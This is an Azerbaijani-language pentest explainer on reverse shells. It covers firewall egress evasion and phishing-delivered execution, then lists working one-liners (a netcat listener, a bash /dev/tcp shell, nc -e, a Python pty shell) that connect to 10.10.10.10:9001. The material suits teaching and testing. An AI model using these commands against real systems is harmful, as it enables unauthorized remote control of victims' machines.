Qurbanın kompüterində işə salındıqda hackerin dinlədiyi porta qoşulma sorğusu göndərən və hackerin () qurbanın kompüterində əmrləri yerinə yetirməsinə imkan verən skriptlərə reverse shell əmrləri deyilir. Pentest zamanı əmrlərin icrası ilə bağlı zəifliyi tapmaq şansınız varsa, çox güman ki, qısa müddət sonra shell istifadə edərək sistemə giriş əldə edəcəksiniz. Yeni hesab / SSH açarı / .rhosts faylı əlavə etmək mümkün deyilsə, növbəti addımınız reverse shell istifadə etmək və ya qabığı TCP portuna qoşmaq olacaq.
Firewalllar portlara nəzarət edə bilər. Məsələn, xarici şəbəkədən DMZ şəbəkəsinə gələrkən 80 və 443 nömrəli portlara, daxili şəbəkəni xarici şəbəkəyə buraxarkən 53, 80 və 443 nömrəli portlara icazə verilir. Xarici şəbəkədən daxili şəbəkəyə gələn bütün sorğular bloklansın bu halda daxili şəbəkədən xarici şəbəkəyə sorğuların keçməsinə imkan verən portlardan birindən xarici şəbəkəyə qoşulma həyata keçirilərsə, firewall bu IP ünvanını bloklamayacaq və ondan sorğuları qəbul edəcək. Reverse shell kənar şəbəkədən daxil olan bağlantıların bloklandığı halda firewall qaydalarından yayınmaq üçün istifadə olunur
Reverse shell ilə bağlı vacib məqamlardan biri də əlaqənin içəridən başladığı məlumatıdır. Bunun üçün qurbana fişinq hücumundan istifadə olunur. Burada vacib məqam reverse shell olan faylı işə salmaqdır. Fayl işə salındıqda, daxili şəbəkədən xarici şəbəkədə göstərilən IP ünvanının müəyyən edilmiş portuna qoşulmağa cəhd edilir. Bağlantı qurulduqda, firewallun status xüsusiyyətindən istifadə edərək eyni əlaqə üzərindən reverse shell başlanır və beləliklə hədəf cihazda shell əldə edilir
videoda shell almaq üçün bash-dan istifadə edilib dinləmə üçün isə netcat
dinləmə nc -lvnp PORT
shell almaq üçün başqa üsullar:
bash -i >& /dev/tcp/10.10.10.10/9001 0>&1
nc 10.10.10.10 9001 -e bash
export RHOST="10.10.10.10";export RPORT=9001;python3 -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("bash")'